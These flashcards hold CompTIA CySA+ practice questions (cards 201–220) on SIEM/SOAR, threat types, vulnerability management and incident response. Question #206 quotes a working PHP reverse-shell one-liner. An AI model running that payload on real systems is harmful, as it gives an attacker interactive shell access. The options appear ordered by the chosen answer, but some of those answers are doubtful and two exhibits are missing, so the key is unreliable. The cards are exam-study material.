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CompTIA CySA+ CS03

All questions without description (e.g. Question #1) are from the premium version of Exam Topics. I always choosed the community answer if possible for them. The rest is from the specific documents, written in the header of each question.

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Card 201

Question

 

Question #200

The Chief Information Security Officer for an organization recently received approval to install a new EDR solution. Following the installation, the number of alerts that require remediation by an analyst has tripled. Which of the following should the organization utilize to best centralize the workload for the internal security team? (Choose two.)

Answer

  • B. SIEM
  • A. SOAR
  • E. XDR
  • D. NGFW
  • F. DLP
  • C. MSP

Card 202

Question

 

Question #201

Which of the following best describes the threat concept in which an organization works to ensure that all network users only open attachments from known sources?

Answer

  • D. Nation-state threat
  • A. Hacktivist threat
  • C. Unintentional insider threat
  • B. Advanced persistent threat

Card 203

Question

 

Question #202

A security analyst has received an incident case regarding malware spreading out of control on a customer's network. The analyst is unsure how to respond. The configured EDR has automatically obtained a sample of the malware and its signature. Which of the following should the analyst perform next to determine the type of malware based on its telemetry?

Answer

  • A. Cross-reference the signature with open-source threat intelligence.
  • B. Configure the EDR to perform a full scan.
  • D. Log in to the affected systems and run netstat.
  • C. Transfer the malware to a sandbox environment.

Card 204

Question

 

Question #203

A network analyst notices a long spike in traffic on port 1433 between two IP addresses on opposite sides of a WAN connection. Which of the following is the most likely cause?

Answer

  • A. A local red team member is enumerating the local RFC1918 segment to enumerate hosts
  • B. A threat actor has a foothold on the network and is sending out control beacons
  • D. An insider threat actor is running Responder on the local segment, creating traffic replication
  • C. An administrator executed a new database replication process without notifying the SOC

Card 205

Question

 

Question #204

Which of the following is a useful tool for mapping, tracking, and mitigating identified threats and vulnerabilities with the likelihood and impact of occurrence?

Answer

  • A. Risk register
  • D. Compliance report
  • C. Penetration test
  • B. Vulnerability assessment

Card 206

Question

 

Question #205

Which of the following is often used to keep the number of alerts to a manageable level when establishing a process to track and analyze violations?

Answer

  • A. Log retention
  • B. Log rotation
  • C. Maximum log size
  • D. Threshold value

Card 207

Question

 

Question #206

While reviewing web server logs, a security analyst discovers the following suspicious line:

php -r ’$socket=fsockopen("10.0.0.1", 1234); passthru ("/bin/sh -i <&3 >&3 2>&3");’

Which of the following is being attempted?

Answer

  • B. Command injection
  • A. Remote file inclusion
  • D. Reverse shell
  • C. Server-side request forgery

Card 208

Question

 

Question #207

Which of the following should be updated after a lessons-learned review?

Answer

  • D. Incident response plan
  • A. Disaster recovery plan
  • B. Business continuity plan
  • C. Tabletop exercise

Card 209

Question

 

Question #208

A software developer has been deploying web applications with common security risks to include insufficient logging capabilities. Which of the following actions would be most effective to reduce risks associated with the application development?

Answer

  • B. Deploy compensating controls into the environment
  • C. Implement server-side logging and automatic updates
  • D. Conduct regular code reviews using OWASP best practices
  • A. Perform static analyses using an integrated development environment

Card 210

Question

 

Question #209

An analyst suspects cleartext passwords are being sent over the network. Which of the following tools would best support the analyst's investigation?

Answer

  • A. OpenVAS
  • D. Maltego
  • C. Wireshark
  • B. Angry IP Scanner

Card 211

Question

 

Question #210

Using open-source intelligence gathered from technical forums, a threat actor compiles and tests a malicious downloader to ensure it will not be detected by the victim organization's endpoint security protections. Which of the following stages of the Cyber Kill Chain best aligns with the threat actor's actions?

Answer

  • B. Reconnaissance
  • A. Delivery
  • C. Exploitation
  • D. Weaponization

Card 212

Question

 

Question #211

An organization would like to ensure its cloud infrastructure has a hardened configuration. A requirement is to create a server image that can be deployed with a secure template. Which of the following is the best resource to ensure secure configuration?

Answer

  • D. ISO 27001
  • C. OWASP Top Ten
  • A. CIS Benchmarks
  • B. PCI DSS

Card 213

Question

 

Question #212

A security analyst reviews the following Arachni scan results for a web application that stores PII data:



Which of the following should be remediated first?

Answer

  • C. XSS
  • A. SQL injection
  • B. RFI
  • D. Code injection

Card 214

Question

 

Question #213

Which of the following stakeholders are most likely to receive a vulnerability scan report? (Choose two.)

Answer

  • D. Legal
  • C. Marketing
  • E. Product owner
  • B. Law enforcement
  • A. Executive management
  • F. Systems administration

Card 215

Question

 

Question #214

Which of the following techniques can help a SOC team to reduce the number of alerts related to the internal security activities that the analysts have to triage?

Answer

  • A. Enrich the SIEM-ingested data to include all data required for triage
  • C. Filter all alarms in the SIEM with low seventy
  • B. Schedule a task to disable alerting when vulnerability scans are executing
  • D. Add a SOAR rule to drop irrelevant and duplicated notifications

Card 216

Question

 

Question #215

An analyst is evaluating a vulnerability management dashboard. The analyst sees that a previously remediated vulnerability has reappeared on a database server. Which of the following is the most likely cause?

Answer

  • C. The vulnerability scanner was configured without credentials.
  • D. The vulnerability management software needs to be updated.
  • A. The finding is a false positive and should be ignored.
  • B. A rollback had been executed on the instance.

Card 217

Question

 

Question #216

A company has decided to expose several systems to the internet. The systems are currently available internally only. A security analyst is using a subset of CVSS3.1 exploitability metrics to prioritize the vulnerabilities that would be the most exploitable when the systems are exposed to the internet. The systems and the vulnerabilities are shown below:



Which of the following systems should be prioritized for patching?

Answer

  • D. sullivan
  • C. blane
  • B. grey
  • A. brown

Card 218

Question

 

Question #217

During an incident in which a user machine was compromised, an analyst recovered a binary file that potentially caused the exploitation. Which of the following techniques could be used for further analysis?

Answer

  • C. Sandboxing
  • A. Fuzzing
  • B. Static analysis
  • D. Packet capture

Card 219

Question

 

Question #218

A leader on the vulnerability management team is trying to reduce the team's workload by automating some simple but time-consuming tasks. Which of the following activities should the team leader consider first?

Answer

  • A. Assigning a custom recommendation for each finding
  • D. Regularly checking agent communication with the central console
  • B. Analyzing false positives
  • C. Rendering an additional executive report

Card 220

Question

 

Question #219

The Chief Information Security Officer (CISO) of a large management firm has selected a cybersecurity framework that will help the organization demonstrate its investment in tools and systems to protect its data. Which of the following did the CISO most likely select?

Answer

  • C. ISO 27001
  • B. COBIT
  • D. ITIL
  • A. PCI DSS

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